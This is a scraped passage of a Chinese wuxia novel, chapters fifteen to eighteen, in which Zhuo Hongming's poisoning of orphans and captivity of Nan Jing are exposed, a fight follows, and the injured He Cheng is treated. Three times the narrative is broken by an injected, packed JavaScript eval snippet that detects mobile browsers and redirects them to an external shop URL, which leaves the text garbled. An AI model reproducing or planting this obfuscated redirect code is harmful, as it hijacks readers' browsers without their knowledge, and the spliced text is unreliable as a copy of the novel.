逐月阁掌门孟岗看着他这副模样,心里着急,连声催他:“自然是信的。别的事情都是后话,你先吃了解药保命要紧!” 葛武依言服下解药,恹恹倚在葛文身上,微微阖眼小憩。 葛文见过琴剑山庄惯用的手段,知道这颗解药只能解一天之毒,虽然葛武暂时无碍,他悬着的一颗心将落未落,就近拉着叶广的衣摆求道:“这颗解药只可解一时之毒,非长久之计,求叶掌门替我们兄弟做主,请卓庄主赐解药。” 贺承与陆晓怜对视了一眼,心中各自暗叹,葛文这是求错了人。 凤鸣山近些年势大,掌门叶广却是实打实的老好人,这事虽然葛家兄弟占理,可要叶广当着众人下了卓弘明的面子,只怕是比杀了他还令他难受。 果然,叶广微微蹙眉,看看葛家兄弟,又看看卓弘明,斟酌着说辞:“这二位后生既是琴剑山庄门人,这便算是山庄内务,我们这些外人不好置喙,不如还是试琴会之后,关起门来从长计议。” 关起门来从长计议? 那怎么行?好不容易把卓弘明逼到这步田地,不趁热打铁追问下去,江非沉的这封信必定如泥牛入海,再无波澜。再说,此事这样不声不响地压下去,葛家兄弟的两条命只怕也是保不住了! 陆晓怜往前迈了半步,当即要反对,手臂却被人压了一下,她回头看去,正与贺承的目光对上。他朝她使个眼色,不知何处来的默契,她竟然心领神会地退回半步,把到嘴边的话咽了回去。 挺身而出的人,除了凤鸣山掌门叶广,还有逐月阁阁主孟岗。 叶广将话说得漂亮,两边都不得罪,孟岗的态度却截然不同。他拦下要将葛家兄弟带下去的人:“时间还早,将事情理清楚,再开始第一轮比试也不急。” 写在纸上的事,大家默默看了,默默记了,没有宣之于口便是最后的体面。 大庭广众之下,卓弘明自然不想把江非沉信上说的桩桩件件拿出来仔细分说,急忙去拦:“孟兄,事情说来话长,还是先让孩子们比试,我们迟些时候再详谈。” 作为四大门派之一的逐月阁阁主,也作为青山城无涯洞外风波的重伤者家属,孟岗不肯作罢:“我儿元纬在青山城无涯洞外重伤,昏睡至今,我等不及迟些时候了,此刻便要问问弘明兄,无涯洞外的争斗,究竟是不是你授意江非沉挑起的?” 孟岗态度强硬,眼看无法搪塞过去,卓弘明索性将所有说不清的事情都推到已不能发声的江非沉身上去:“不瞒各位,当时沉儿离开南州时,与我大闹了一场。他说晓怜与贺承是青梅竹马的情意,君子不夺人所好,他怎么能去参加这场比武招亲?” 他长长叹了口气:“这事确实也怪我,总想着要沉儿多出去历练,一时也没顾及许多。我想,他就是为了气我,才留了一封这样的信。” 谎话编得仓促,其中有许多说不通的地方。 比如,不想去青山城比武,出了南州城偷偷溜去别去玩耍便好,值得编纂这样环环相扣的谎言吗? 再比如,既然是要气卓弘明,江非沉怎么是交代家人把这封信交给贺承? 这些漏洞太浅,贺承没力气将漏洞一个一个揪出来与卓弘明对峙。他精力有限,想着要速战速决,只提了一嘴:“既然江少侠在信里说,他出发青山城之时便中了毒,不妨验一验他的尸骨,便知他信中所言是真是假。” “不可!”卓弘明断然拒绝,“沉儿早已入土为安,我不许你们惊动他!” 贺承似笑非笑地望着他:“卓庄主当真不舍得惊动他吗?” “庄主自然舍得的。”卓弘明未及出声,一个虚弱的声音抢先响起。 只见服下解药的葛武缓过一口气来,由葛文搀扶着慢慢站起身,走近些,加入到对话里来:“庄主昨日便下令挖坟掘墓,将非沉师兄的尸身翻了出来,此刻就摆在后山新搭的棚子里。” “这不是巧了吗?”贺承感叹一句,转头却问孟岗,“卓庄主就像是料到大家想看看江少侠的尸骨一般,早就做好了准备。孟阁主,可有兴趣一起去看看?” 孟岗自然是要去的。 孟岗既然去了,卓弘明自然是要陪着的。 卓弘明都离了场,试琴会这边自然而然地暂且搁置下来。 后山没有能容下这么多人的场地,用这个说法能拦下今日前来观看试琴会的大部分人,可那些拿着署名邀帖有头有脸的人物若是想跟着去凑热闹,没人拦得住。 陆晓怜虽然没有邀帖,可陆岳修的千金也没人敢拦,坦坦荡荡跟着人群往后山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺承尴尬轻咳几声:“虽说不该打扰逝者,可这一处改动,既能证明偷信之人确是他所派,又能确认江非沉信中提到的中毒一事的虚实,还能帮吴阿婆精准找到江非沉的尸身,一石三鸟,也只能委屈江非沉了。” 陆晓怜横他一眼:“要是被江阿小知道了,小心他咬你。” 说话间,一行人便走到了后山。 果然如葛武所说,空地上临时搭起一个棚子,棚子用黑布严严实实遮挡着。棚子外有四个十六七岁的少年,他们将帕子系在头上,捂着口鼻,守着棚子外面,显然没料到会忽然来这么多人,惊慌而无措,竟一时呆住了。 孟岗性子急,上前便问他们:“棚子里是什么?” 少年怯怯地朝卓弘明望了一眼,抿着嘴不敢说话。 孟岗顺着他们的目光,也看了卓弘明一眼,不再多问,扬手一会,掌风过处,裹在棚子上的黑布被扯落,露出棚子里头的场景来。 棚子里就地铺着一张沾着泥土的破旧草席,草席上放着一具尸骸,骸骨上面也沾着泥,显然从地里挖出来不久,甚至不及进一步清理。那具尸骸已经腐烂了大半,四肢已经化作森森白骨,两根伶仃的腿骨从草席里支出来。 又或许,那并不能叫做白骨—— 所有人都看得分明,露出来的那段腿骨,每一寸都是灰黑色的。 15.第十五章 五毒娘子 不知是谁家小弟子忘了压低声音,没遮没拦地开了口:“这便是江师兄的尸身吗?” 江非沉过世已有小半年,尸骸确实应该腐化了大半。他与贺承年纪相仿,死时也不过二十来岁,又一向身体健康,骸骨发乌,显然是中毒所致。 亲眼见到这挖坟掘尸的事,终于又有人问:“卓庄主,这究竟是谁的尸身?既已入土,又为什么要将它掘出?” 只这一句话,众人的目光齐齐落到卓弘明身上。 这件事毕竟太过离奇,即便这不是江非沉的尸身,在琴剑山庄后山摆一具已经腐化见骨的尸骸,也需要有个让人能接受的理由。 而此时,卓弘明脸色煞白,无言以对。 大家心中各有猜测,却不敢武断地胡乱下定论,更不敢开口胡说八道,只能这样沉默而尴尬地僵持着。 从前院到后山的路不算长,可贺承身上有伤,还生着病,越走越慢,渐渐落到人群最后面。陆晓怜也是仗义,没把他丢开,陪他落到最后,慢慢走着。 他们拨开人群,挤到前面时,正好撞见相对无言的僵局。 左右青山城和琴剑山庄的梁子已经结下了,陆晓怜再无顾忌,迈了几步站出来:“卓伯伯若是一时想不出答案,不如晓怜来替您回答。” 卓弘明不吭声,孟岗替他做了决定:“晓怜,你来说,这究竟是怎么回事?” “我刚刚已经说过,江师兄留了封信给我师兄,贺师兄如今下落不明,这封信便交到了我手里。”陆晓怜从怀中掏出江非沉亲手所书的信笺原件,遥遥举起,“这是江师兄亲笔所写的信,方才各位所见的,也只是内容的一半,江师兄在信中还说了另一件事情。” 陆晓怜顿了一顿,看了卓弘明一眼:“卓伯伯,江师兄在信里说的另一件事,是我说,还是您自己来说?” 卓弘明冷笑:“你说这信出自沉儿之手,便当真出自沉儿之手吗?” 陆晓怜点头:“这封信出自谁之手确实不重要,重要的是信里说的事。我听说,卓伯伯当年求娶五毒娘子南婧前辈,曾在江湖上掀起轩然大波……” 南婧是五毒谷的传人,琴剑山庄自诩名门正派,不屑与五毒谷为伍,因而当年卓弘明破费了一番心思,才让老庄主松了口,同意他将南婧娶进琴剑山庄。 五毒谷擅用毒,闻名于世的毒方中,除了那些见血封喉的毒药,还有一些能在短时间内不计后果地激发功力、吊人性命的毒丸。南婧嫁进琴剑山庄后无所事事,卓弘明便想方设法怂恿她调整毒方,试试能否配置出既能保留原有效用,又降低毒性的毒丸,用来辅助琴剑山庄弟子习武。 做这件事的初衷并不坏,可事情在老庄主过世后,便失了控制。 老庄主高洁侠义,卓弘明却未能全然承接父亲意志。他接任琴剑山庄庄主后,山庄行事与老庄主在世时大相径庭,庄子里不少人与他意见相左,相继离开,琴剑山庄隐有式微之势。 为了挽回颓势,卓弘明将赌注都压在了南婧身上。 他打着琴剑山庄的名义招收弟子,最爱带回来无父无母的孤儿,养在后山。说是琴剑山庄的弟子,其实只是管口饭,养上半年,便带去试南婧调制出来的毒方。 虽然南婧极力降低毒性,但那些方子毕竟还是毒药。那些孩子年纪很小,服过削减毒性的药,虽不至于当场便死了,可半死不活地拖上一段时间,最终死掉的,比比皆是。 卓弘明带回来养在后山的孩子大多无父无母,死了便死了,也无人问津。 唯一的例外,便是江家村的那群孩子。 那群孩子长在同个村子里,家家户户互相认识,孩子在琴剑山庄里无缘无故地没了,实在瞒不下去。为了遮掩真相,卓弘明索性让那些奄奄一息的孩子服下未经调整、药性最烈却能吊着命的毒药,表面上,这些孩子被送回江家村时活蹦乱跳,其实体内蛰伏着剧毒,半年或者一年后毒发,生机渺茫。 这便是吴阿婆之前所说,被送回江家村的孩子都活不长的原因。 “五毒娘子擅使毒,心肠却并不歹毒。她知道了这件事,不愿意再为琴剑山庄制毒,卓伯伯,您还记得,您是怎么逼她的吗?” 说到这里,陆晓怜顿了一下,目光清亮地望着卓弘明。 卓弘明眉尖几不可查的微微一跳,目光越加幽暗阴冷。 陆晓怜正要开口继续说下去,身边一暗,有人站到她身边来。 她转头看去—— 是沈烛。 这人分明刚刚还虚弱得几乎走不了路,此刻却稳稳当当地站到她身边,右半边身子微侧着拦在她身前,挡在她与卓弘明之间。 显然,他是怕卓弘明狗急跳墙,骤然发难伤了她。 被他拦在身后,陆晓怜没有缘故地想起贺承,明明这是才认识几日的人,明明这人拖着一副风吹就破的身子,可站在他身后,就跟以前被贺承护在身后一样,心神安定,肆无忌惮。 于是,陆晓怜不紧不慢地继续说下去:“还记得吗?您把毒药喂给了您和五毒娘子所生育的三个孩子,就像现在对待葛武一样,一日一日地喂他们解药,若五毒娘子按您的要求制毒一日,她的孩子便能多活一日,否则——” 陆晓怜没把话说死,可此话一出,登时四下哗然。 “精彩!”卓弘明冷笑出声,抬手鼓了几下掌。 四下的议论声直如沸腾的水壶里被丢了一块冰,所有声响刹那间落了下去,偌大的场地竟鸦雀无声。卓弘明目光幽深地看着陆晓怜:“为了给我泼脏水,竟能想出这样匪夷所思的故事,真是难为你了。” 他昂头挺胸,目光锐利地扫过众人:“青山城连自己家的事都还没有理清楚呢,就凭着一封来路不明的信,无凭无据地往我头上安罪名吗?是不是太过可笑了一点?” 这话若是放在尚未走入后山时讲,大约会多几个人和卓弘明站到同一阵线上去。可此刻大家亲眼目睹了他无缘无故地挖一具腐尸出来摆在自家后山,心中或多或少存着疑惑不解,在卓弘明给出合理解释前,恐怕不会有人轻易站出来与他比肩。 全场死寂,不仅没人回应卓弘明,站在陆晓怜身边的贺承还适时地补上几句话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那人看着已有五十来岁,一身素衣,眉梢眼角已攀上细细的纹路,却仍依稀可见年轻时的风采。想当年五毒娘子南婧与龙吟仙子林音是江湖上公认的美人,后来五毒娘子嫁给卓弘明,一入琴剑山庄再无音讯,龙吟仙子嫁入青山城,为陆岳修生下一双儿女后溘然辞世,成为多少人的遗憾。 这素衣妇人站在山谷清风之中,衣袂飞扬,在场的年轻后生们无动于衷,可他们的师父却一眼就分辨出,这便是多年没有在江湖上露过面的五毒娘子南婧。 江湖儿女快意恩仇,南婧见到卓弘明怒从中来,瞠目欲裂:“卓弘明,你窃我毒方,害我孩儿,当年若不是沉儿设法相告,我还不知道你借我之手,干下这等丧良心的事,如今竟连沉儿也遭你毒手,你,你不得好死!” 再多的书信笔记,再多的证据,都比不过当面对质。 何况,南婧不是被养在后院籍籍无名之辈,在嫁入琴剑山庄前,她本是江湖上声名赫赫的五毒娘子,她并不需要多说什么,只消这么一句,便能证明陆晓怜所言非虚。 南婧的到来使卓弘明恼羞成怒,他无法辩驳,也就不再躲藏,露出真实面目来,五指曲成龙爪状,便向南婧袭来。南婧擅使毒和暗器,武功却不算高强,何况她已被囚禁多年,卓弘明骤然发难,她竟只能眼睁睁看着他袭到自己面前来。 好在钟晓就站在她身边,慌乱中拉住她的手臂,脚下轻点,眨眼间已落在几丈之外。 南婧喝道:“卓弘明,你这是要杀人灭口吗?” 16.第十六章 看戏 南婧喝道:“卓弘明,你这是要杀人灭口吗?” 卓弘明冷笑:“你嫁入我琴剑山庄,却不守妇道,诽谤夫家,我自当清理门户!”他自然不肯罢休,争吵着,已在掌中暗暗积蓄内力,步法一换,一刻不停又要追过去。 眼看钟晓护着南婧已是吃力,全然无力分身反击卓弘明。陆晓怜心下一横,清喝一声,横秋出鞘,挽了个剑花,脚下轻点追了过去,横剑拦住卓弘明。 一边是年近不惑、功力深厚的琴剑山庄庄主,一边是二九年华的年轻后生,明眼人都看得出来,陆晓怜不可能是卓弘明的对手,她横剑拦在他身前,是豁出了性命要护着南婧。 寻常情况下,这样悬殊的两个人根本不可能动起手来,即便动手切磋,卓弘明也不应该仗着自己多练了几年功,痛下杀手。可偏偏,卓弘明此刻困局皆是陆晓怜造成的,此刻撕破了脸面,他心里有气,也不怕落得个恃强凌弱的话柄,一手制住陆晓怜的剑,另一手抬起一掌,便要朝陆晓怜头顶拍下去! 琴剑山庄与青山城结怨在先,卓弘明这一掌下去,陆晓怜若是身死琴剑山庄,又会掀起什么样的波澜? 众人看得心惊,纷纷出言阻止—— “卓庄主!” “卓兄!” “弘明兄!” 贺承没有想到,他只是落后了陆晓怜半步,就让她落于这样的险境! 不仅是贺承,所有人都没有料到卓弘明会当众对陆晓怜一个晚辈下死手,有人离得远,有人不设防,一时竟无人来得及上前营救阻拦。 幸而贺承身形已动—— 无论如何,他都绝不会让卓弘明这一掌落下去! 他如今化名沈烛,贺承的凌云剑自然不该在他手里,他两手空空,只匆匆折了一根树枝,飞身迎了上去。 贺承将内息灌注到手中那根脆弱的树枝上去,两条长腿在空中一剪,身子斜斜掠出,毫无预兆地横插进他们二人的战局之中,趁着卓弘明不备,猛然刺出树枝,竟将树枝从他手掌中斜穿了过去,溅出一片血花。 卓弘明吃痛,将将要打出的那一掌调转了方向,尽数袭向贺承手中的树枝。 即便贺承灌注了内力,那终究也只是一根脆弱的树枝,卓弘明低声一喝,那树枝应声而断,掌中积蓄的力量顺着树枝震得贺承手臂发麻,周身经脉剧痛无比,偏过头去,猛地喷出一口血来。 “沈兄!”远远看见贺承呕血,钟晓又急又担心。 贺承知道他想过来帮忙,可他们三人联手便一定能制住卓弘明面?贺承的经脉脏腑间喷薄汹涌的剧痛一阵强过一阵,他自知支撑不了太久,与其将钟晓强拖进来,倒不如留他在暗处协助五毒娘子。 他以手中的断枝撑地,踉跄退了几步,又按着心口呕出一大口血。 周身经脉痛极,贺承的神志反倒越加清明,他挣扎着抬头看向钟晓,微微摇了摇头,使了个眼色,示意他只管跟着五毒娘子。 钟晓会意,抽出自己的佩剑,朝贺承掷去:“沈兄,我的剑给你!” “多谢!”贺承不再理会几乎能将他经脉冲断的汹涌内力,弃了手中残余的枯枝,一跃而起,接住钟晓的剑。 方才,贺承仅用一根枯树枝便能刺穿卓弘明的手账,此刻有了剑,更是如虎添翼。 他自小便有对武功招式过目不忘的本事,之前与江非沉比试过,琴剑山庄的路数他心里大致清楚,即便卓弘明的速度再快,他抬手起势,贺承便能猜到他下一步要打哪里。 可陆晓怜并不知道。 贺承想到,他和陆晓怜以前玩闹时约定过一些暗语,尝试用语言误导对手,比如,若是贺承连名带姓地喊了她的名字,便是在示意她,他接下来的话,要反着做。 但此刻,他是沈烛,也不知与陆晓怜还能剩几分默契。 可山重水复,不妨一试。 “陆晓怜!”贺承出声,紧紧盯着她的眼睛,一字一顿,“攻他下盘!” 陆晓怜听见自己的名字,下意识地看向队友,只见队友的目光朝卓弘明的肩膀上扫了一眼,继而将剑平平递出—— 言语误导对手,同时在剑身上借力凌空,居高临下发起攻势。 这法子不厚道,可她师兄说,他们聊他们的,他们对手本可以自己选择听不听、信不信,与他们何干? 陆晓怜心念一动,与贺承深深对视一眼。 那边,卓弘明被言语误导,已将注意力放到脚下,这边陆晓怜却会意,非但不攻卓弘明下盘,反而一跃而起,足尖在贺承的剑身借力一点,凌空跃起,重重落在卓弘明的肩上,使出千斤坠的功夫,将他往地上压下去。 卓弘明下意识地抬手要去捉陆晓怜的腿,可陆晓怜占着地利,居高临下地拿剑与他缠斗,贺承则调转方向,主攻底盘,两面夹击下,卓弘明的招式竟乱了起来。 恰在此时,钟晓朝他们喊:“师姐,沈兄,你们当心!” 贺承和陆晓怜立即想起钟晓此刻和谁站在一起,相视一笑,仿佛有人发令一般,两人一齐收起剑势,在空中灵巧地翻了个身闪到卓弘明身后,一人足尖落在他左肩,一人足尖落在他右肩,借力一跃,迅速撤开。 他们刚刚落地站稳,便听得“噗”的一声轻响。 定睛看去,只见卓弘明背后炸开一片血雾。 他闷哼一声,摇摇晃晃地往后退了几步,骤然跪倒下去,瞪大了眼睛,乌紫的唇哆嗦着发出含糊的声响,却没能说出一个字。 钟晓拉着南婧,又几个回落,落到卓弘明身前。 南婧把玩着手里的几枚铁蒺藜,居高临下地看着跪倒在地的卓弘明,冷笑道:“这就是你逼着沉儿带去害贺承的毒蒺藜,没想到吧,沉儿把它们和他的信一起留在了南州,最终被用到了你自己身上。当年你父亲还看不上我五毒谷使毒,真是好笑,你们琴剑山庄又是什么干净的地方?” 她迎风而立,山风吹动她素白的纱衣,虽头发已经灰白,可昂首挺胸的傲气一如年少,她轻蔑地看着这些应卓弘明之邀而来人:“这出琴剑山庄庄主与夫人反目成仇的戏,好看吗?” 善于用毒的人,在江湖上名声总归不会太好,南婧现身后,许多人噤若寒蝉。 南婧觉得这些人真没意思,抬手一挥:“散了吧,都说家丑不可外扬,诸位不方便继续看下去了吧?” 时至今日,自诩名门正派的人依旧不想与五毒谷的人打交道,今日之事,又确实是琴剑山庄应该关起门来自己解决的家事。大多数人来试琴会也就是为了凑热闹,围观至此,已不好意思再看下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13267241|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>南婧这句话,像是给如芒在背的诸人下了一道赦令,陆陆续续有人离开。 密密麻麻的人群很快散尽,只有叶广、孟岗这几个与卓弘明私交甚笃的人还算仗义,不忍弃他于不顾,将瘫倒在地、狼狈不堪的人扶起。 叶广一摸卓弘明的脉搏,脸色一变,高声喊人快去找大夫。 盛会散场后的兵荒马乱,却已无人在意。 风波平息下来,随着人群走出琴剑山庄,钟晓好不容易才找到慢吞吞的陆晓怜和贺承。他陪着南婧在山庄外等他们出来,指着陆晓怜向南婧介绍:“这便是我师姐陆晓怜。” 南婧用一双漂亮的丹凤眼上下打量了陆晓怜一番:“你就是陆岳修和林音的女儿?” 陆晓怜眼前一亮:“南婧前辈认识我娘?” 南婧幽幽一叹,不知是喜是悲:“自然认识,我跟她为了‘武林第一美人’的名号争了大半辈子,结果,好像谁也没有赢。” 上一辈人的恩恩怨怨,陆晓怜并不知道,站在一位素昧平生的前辈面前,她不由自主地有些发怵,小心翼翼地拿眼睛偷瞟南婧。 南婧今天心情很好,先是得钟晓相助脱身出来,又以毒蒺藜重伤卓弘明,可谓双喜临门,而这两重喜,都与眼前的三个年轻人分不开,因而她对陆晓怜的态度也很好:“小丫头,你想说什么?” 陆晓怜还记得江家祖孙的夙愿,朝南婧抱拳行了礼,开口便替江家祖孙求她:“南婧前辈,能否让我们把江师兄的骸骨接走,令他早日落叶归根,入土为安。” 南婧哈哈一笑:“琴剑山庄连庄主都要没了,谁还管你们想要走什么。带走吧!” 替江家祖孙接回江非沉,此行才算圆满。陆晓怜心里的一块石头彻底落下去,这时才发现沈烛一直垂着头站在旁边,一言不发。 她戳了戳他的手臂:“喂,有点礼貌,跟南婧前辈打个招呼啊。” 钟晓料想他沈兄是累了,热情地代为介绍:“南婧前辈,这就是沈烛,他……” 话音未落,他们几个人都听见一串水珠落地的滴答声。 钟晓下意识抬头看天,此刻晴空万里,并不曾下雨,哪里来的水珠? 寻着声音,他们发现滴答水声敲打在沈烛脚边,定睛看去,只见有殷红血色滴滴答答砸下来,在枯黄的土地上洇出一小块刺眼的红,陆晓怜与钟晓心里具是一沉: “沈烛——” “沈兄——” 恍惚听见有人喊他,贺承费力地抬起头来。他轻轻咳嗽,血色自颜色灰败的嘴唇蜿蜒而下,顺着他线条利落优美的下颌,滴滴答答往地面坠去。 经脉脏腑间的锐利疼痛转为钝刀子磨肉般没有终点的钝痛,他的眸光微微涣散,微眯着眼吃力地看了看眼前的人。他好像要说点什么,褪尽血色的唇动了动,却连一声呻吟都没有发出来,只有血色汩汩涌出,像是要耗尽他全部气血。 陆晓怜离他最近,试探着又问了一句:“你怎么了?还好吗?” 当然不好,随处激荡的内力震得他四肢发麻,已经快要站不住了。 贺承意识昏沉,不大能听得清陆晓怜说了什么,只是迷蒙中还能依稀认出她的声音,顺着声音的来处,他下意识地伸手抓住了她的手臂,身子一轻,放任自己倒入她怀里。 17.第十七章 毒医 都说药毒不分家,南婧身为五毒谷传人,精通炼毒外,也通晓医理,搭上贺承的手腕片刻功夫,一双秀气舒展的远山眉已经紧紧纠在一起:“他没有受伤,只是刚刚动了武,此刻内力无法平息,经脉又太弱,受不住他自己的内力,才会如此。” 钟晓问:“那该怎么办才好?” 南婧不语,抬手便要封住贺承的穴道。有过前车之鉴,钟晓急忙出声阻止:“前辈,沈兄膻中、神阙、中脘这些要穴上都有深及经脉的旧伤,碰不得!” “那怎么救?”南婧沉下脸,“任由内力继续冲撞下去,待到经脉断绝,便无力回天了。可惜我的药囊落入了卓弘明手中,否则,有几颗化功软筋的毒丸,倒可以勉强应急。” 陆晓怜撕了一角衣袖,不时拭去贺承口中呛出的血沫,此时那块布料已沾透了血色。她声音有些发颤:“前辈的意思是,他刚刚救我,是冒着内力冲断经脉的危险?” 南婧点头:“他经脉脆弱,本不该轻易动武的。” 陆晓怜眼眶霎时红了,眼见着靠在自己怀里的人气息越来越弱,她紧紧握住横秋剑,咬牙道:“前辈说的药在什么地方,我去取来!” “卓弘明一心想要提高功力,这类化功的药物他不会随身带着,应该和我的药囊一起,被收在琴剑山庄药庐中。” 陆晓怜追问:“药庐在何处,请前辈指路。” 南婧皱着眉头想了想,无奈摇头:“我被囚在后院多年,知道大致的方向,脑子里却没有画面,说不出个究竟来……” “我们还是分头行动吧。”钟晓当机立断,“今日琴剑山庄的风波皆因我们而起,此处不是久留之地,师姐先带着沈兄离开。我看过江师兄留下的山庄地图,烦请前辈带路找药,取到药之后赶往江家酒肆与你们汇合。” 眼前情况紧急,这确实是最合适的安排。 陆晓怜没有异议,转头便蹲身下去,一手拉着贺承的手臂环过自己的肩膀,另一手托住贺承劲瘦的腰身。她朝钟晓和南婧略一点头,一句废话没有,只说声“万事小心”,足尖点地,咬牙搀起贺承往江家的方向掠去。 “是个不拖泥带水的好孩子,我喜欢。”南婧看着陆晓怜远去的身影,笑着夸了一句。旋即又想起什么,问钟晓:“你这师姐,打起架看着软绵绵的伤不了几个人,轻身功夫倒是不错。” 钟晓道:“掌门师伯疼爱师姐,自小她不想练功的时候,便可以不练。师兄常说,许多招势在她手里被练成了绣花枕头。” “不该如此的,轻身功夫这样好,内家功夫必定差不了。”南婧横了他一眼,“要么是你师姐故意藏了拙,要么便是你们青山城有什么别的古怪!” “前辈明鉴,我们青山城一向光明磊落……” “停停停!”南婧头疼地打断他的长篇大论,善意嘲笑道,“小呆子,你还拿不拿药,还救不救你朋友了?” 先在人前被抖落出暗处见不得人的勾当,再有庄主被庄主夫人重伤,琴剑山庄自顾不暇,乱成一锅粥,陆晓怜与贺承的撤离异常顺利。 可从琴剑山庄在清水河头,江家酒肆的清水河尾,陆晓怜半扶半抱着贺承,还要拖拖沓沓地走上不短的一段路。贺承再如何清瘦,也是比陆晓怜高出一头的男子,陆晓怜咬着牙扶着他沿着清水河跌跌撞撞往前走,几乎是摔进江家酒肆的院子里的。 吴阿婆和江阿小坐立不安地在院子里转着圈圈,听见动静赶到门边,只见陆晓怜一骨碌爬起来,将摔倒时被她尽力护在怀里的人扶着平躺在地上,急得眼睛发红,轻拍他的肩膀喊他:“喂!喂!你怎么样?” 贺承经脉脏腑皆有暗伤,哪里经得起磕碰? 即便陆晓怜用尽了力气将贺承紧紧护在怀里,还是不免牵动伤势,此刻贺承平躺在地上,头无力地垂向一侧,声音低弱地轻轻咳嗽,每一声都带着触目惊心的殷红血沫。 江阿小缩在他祖母身边,怯怯地看着地上大口大口往外呛出血沫的贺承,小声问:“祖母,沈烛哥哥也要死了吗?” 这么小的孩子,亲眼目睹过江家村里太多孩子的夭折,又亲身经历过母亲与大哥的离世,也不知该说他懵懂无识,还是说他已然麻木,竟这样轻飘飘地把生死挂在嘴边。 “不会的,他不会死的!”陆晓怜两眼通红,病急乱投医,“阿小,去拿药,那天张大夫不是留了方子吗?” “啊!我马上去!”江阿小噔噔噔地跑开,慌乱间撞倒了院子里晾晒菜干的簸箕。 一片吵吵嚷嚷中,贺承眉心微蹙,胸口猛然一震,咳出一口堵在心口的淤血。一口气长长落下,他缓缓睁开眼,短暂醒了片刻。 他的眼睫黑如鸦羽,缓慢起落几回,目光才渐渐聚到陆晓怜身上。全身经脉都在疼,他没心思辨认自己身在何处,也想不起来自己为何在这里,微微抬眸看见身边急得红了眼的陆晓怜,便满心满眼都是他的小师妹。 陆晓怜凑过去,边捏着衣袖擦他额头一层一层翻出来的虚汗,边强自镇定地安慰他:“你会没事的,钟晓他们已经去取药了,很快回来,你再撑一撑!” 他的眼睫落了落,从鼻腔里低低“嗯”了一声,表示回应。接着,他颤抖着抬起手,轻轻勾住陆晓怜的手腕,抿了一下褪尽血色的唇,盯着陆晓怜的眼睛,低声说:“好冷,你抱抱我吧……” 陆晓怜愣了一愣。 她忽然想起那一晚,这人高烧之下也是意识不清,迷迷糊糊之间,把她当做了他的师妹拉进怀里不肯松手。她猜,他此刻又疼又冷,意识迷蒙,生死一线,大概是又把她当成了他的师妹。 他只是想要一个拥抱而已,江湖儿女不拘小节,这并不是什么大不了的事情。 陆晓怜接过吴阿婆递过来的毯子,小心地裹住奄奄一息的人,俯下身去,隔着一张毯子轻轻把他抱住,将脸埋在 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钟晓也有和陆晓怜一样的顾虑,替她开口:“不是不信前辈,可这到底还是毒药,不知会不会对沈兄身体造成其他损伤?” “不吃这药,他马上就要死了,吃了这药,虽然我也不能保他不死,但至少今天是死不了的。”南婧边说边往自己的药囊里收东西,“再说了,他体内早已经沉积着秋梧半死丹的毒素,枕风楼东施效颦配出来的东西,还能比我亲手为他量身定制的好吗?” 陆晓怜眉心一蹙:“枕风楼?” 南婧轻轻嗤笑:“你们年纪小,不知道也正常。当年枕风楼楼主沈南风为救爱子,硬闯五毒谷,抢了我父亲刚刚炼出的几颗药丸,自此与我五毒谷结下梁子。后来,他命人照着那药丸寻求复制之法,可我父亲亲自炼出的药岂是那么好学的?他们最终便造出了这四不像的秋梧半死丹,半毒半药,杀不了人,也救不了命,服之后患无穷。” 陆晓怜问:“可他体内怎么会有枕风楼的毒?” “我猜,虽是服毒,但十有八九还是为了保命。”南婧眉头微蹙,“小呆子说,他膻中、神阙那些地方受过伤碰不得,我刚刚看过,觉得那几处穴位上的疤痕不像是伤,倒像是被人往身体里埋了什么东西进去。异物入体,又在气血运行必经的任督二脉上,内息冲撞之下必定剧痛难耐,他服食毒药,应该也是为了免受此等苦楚。” 说话间,南婧已经将自己刚刚摆出来的东西收拾妥当。她站起身,把药囊收入怀中,指指陆晓怜手中的茶杯:“药我反正是给了,用不用全凭你们自己拿主意。多谢你们助我脱困,后会有期。” 南婧向他们一抱拳,转身便要走。 钟晓急急忙忙追出门去:“前辈留步,沈兄还没醒呢!” 南婧摇头:“我的药只能让他今日不死,却不能保他明日还能喘气,若要救命,你们还是带他去百花谷碰碰运气吧!” 18.第十八章 师妹 南婧刚走不久,贺承的情况便急转直下。 像是决堤的山洪压制不止一般,他体内的内息肆意游走,手背上的青筋陡然暴起,毫无规律的突突跳动,依稀可以想见一波波内息奔腾翻涌而过。痛楚之下,贺承呻吟出声,平放在身侧的手攥成了拳,手臂上肌肉线条清晰可见,冷白的皮肤上粗细各异的经脉渐渐浮现出来,几乎可以看见经脉之中急速流动的血液。 “管不了那么多了,先救命!”陆晓怜端着茶杯的手微微发着抖,上前一步坐在床边,扶着贺承靠到自己肩头,将茶杯抵到他褪尽血色的唇边,声音发颤,“活下去,算我求你!” 幸而南婧留下的那杯药只有两三口,幸而贺承在昏迷中依稀能听见陆晓怜的声音,放下所有戒备,唇齿轻轻一撬便松开,那小半杯药喂得很顺利。 半杯毒药下肚,只消片刻,贺承手臂上浮现的经脉肉眼可见地消退了下去,全身紧绷的肌肉也渐渐放松下来。陆晓怜小心翼翼地扶他在床上平躺下来,一口气刚要松下去,却听床上的人闷哼一声,翻身而起,扑倒在床边,“哇”地喷出一大口黑血。 陆晓怜刚刚落下去的心又提了起来。她将手里的茶杯随手一放,坐回床边,扶起脱力倒伏在床边的人,这才发现他竟然是醒着的。 五毒夫人留下的那半杯药,确实管用! 